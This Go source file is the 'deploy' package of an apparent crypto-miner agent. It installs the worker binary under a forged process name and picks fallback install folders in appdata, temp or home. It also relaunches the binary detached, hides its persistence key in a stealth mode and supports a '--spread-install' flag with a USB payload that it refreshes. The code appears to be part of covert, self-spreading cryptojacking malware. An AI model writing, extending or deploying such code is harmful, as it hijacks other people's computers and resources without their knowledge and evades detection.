package deploy

import (
	"fmt"
	"io"
	"os"
	"os/exec"
	"path/filepath"
	"runtime"
	"strings"

	"crypto-miner-agent/config"
)

const (
	runFlag       = "--run"
	spreadFlag    = "--spread-install"
	backupSuffix  = ".bak"
)

// BinaryExt returns the executable suffix for the current OS.
func BinaryExt() string {
	if runtime.GOOS == "windows" {
		return ".exe"
	}
	return ""
}

// BinaryName returns the forged process filename on disk.
func BinaryName(cfg config.RuntimeConfig) string {
	return cfg.EffectiveProcessName() + BinaryExt()
}

// InstalledBinaryPath is the full path to the installed worker binary.
func InstalledBinaryPath(cfg config.RuntimeConfig) (string, error) {
	dir, err := cfg.InstallDirectory()
	if err != nil {
		return "", err
	}
	return filepath.Join(dir, BinaryName(cfg)), nil
}

func PersistenceKeyName(cfg config.RuntimeConfig) string {
	if cfg.StealthMode {
		return cfg.EffectiveProcessName()
	}
	name := sanitizeName(cfg.WorkerName)
	if name == "" {
		return cfg.EffectiveProcessName()
	}
	return "CryptoMiner-" + name
}

func sanitizeName(name string) string {
	replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
	return replacer.Replace(strings.TrimSpace(name))
}

func samePath(a, b string) bool {
	a = filepath.Clean(a)
	b = filepath.Clean(b)
	if runtime.GOOS == "windows" {
		if strings.EqualFold(a, b) {
			return true
		}
	} else if a == b {
		return true
	}
	aAbs, errA := filepath.Abs(a)
	bAbs, errB := filepath.Abs(b)
	if errA != nil || errB != nil {
		return false
	}
	if runtime.GOOS == "windows" {
		return strings.EqualFold(aAbs, bAbs)
	}
	return aAbs == bAbs
}

func copyFile(src, dest string) error {
	in, err := os.Open(src)
	if err != nil {
		return err
	}
	defer in.Close()

	out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
	if err != nil {
		return err
	}
	defer out.Close()

	_, err = io.Copy(out, in)
	return err
}

func relaunch(exePath, logPath string) error {
	cmd := exec.Command(exePath, runFlag)
	cmd.Dir = filepath.Dir(exePath)
	if logPath != "" {
		cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
	}
	applyDetachedStart(cmd)
	return cmd.Start()
}

func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
	dir, err := cfg.InstallDirectory()
	if err == nil {
		return dir, nil
	}

	fallbacks := installBaseFallbacks(cfg)
	seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
	for _, base := range fallbacks {
		if seen[base] {
			continue
		}
		seen[base] = true
		try := cfg
		try.InstallBase = base
		dir, tryErr := try.InstallDirectory()
		if tryErr == nil {
			return dir, nil
		}
	}
	return "", err
}

func installBaseFallbacks(cfg config.RuntimeConfig) []string {
	switch runtime.GOOS {
	case "windows":
		return []string{"localappdata", "appdata", "temp"}
	case "darwin":
		return []string{"home", "xdg_data_home", "tmp"}
	default:
		return []string{"xdg_data_home", "home", "tmp"}
	}
}

func InstallDir(workerName, buildID string) (string, error) {
	base := "localappdata"
	if runtime.GOOS != "windows" {
		base = "xdg_data_home"
	}
	return config.RuntimeConfig{
		BuiltinConfig: config.BuiltinConfig{
			WorkerName:          workerName,
			BuildID:             buildID,
			InstallBase:         base,
			InstallRelativePath: config.DefaultInstallRelativePath,
		},
	}.InstallDirectory()
}

// isPayloadStale returns true when the on-disk USB payload has a different
// size than the current running executable — meaning the agent was upgraded
// and the USB copy needs to be refreshed.
func isPayloadStale(exePath string, payloadSize int64) bool {
	fi, err := os.Stat(exePath)
	if err != nil {
		return false
	}
	return fi.Size() != payloadSize
}

func saveBackup(installedBin string) error {
	backup := installedBin + backupSuffix
	if _, err := os.Stat(backup); err == nil {
		return nil
	}
	return copyFile(installedBin, backup)
}

// WantsSpreadInstall reports --spread-install CLI flag.
func WantsSpreadInstall() bool {
	return wantsSpreadInstall()
}

func wantsSpreadInstall() bool {
	for _, arg := range os.Args[1:] {
		if arg == spreadFlag {
			return true
		}
	}
	return false
}

func isRunMode() bool {
	for _, arg := range os.Args[1:] {
		if arg == runFlag {
			return true
		}
	}
	return false
}

func writeInstalledMarker(cfg config.RuntimeConfig, installDir, installedBin, agentID string) {
	if cfg.StealthMode {
		return
	}
	_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
		"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\nplatform=%s\narch=%s\ninstall_dir=%s\ninstalled_bin=%s\n",
		cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, runtime.GOOS, runtime.GOARCH, installDir, installedBin,
	)), 0644)
}
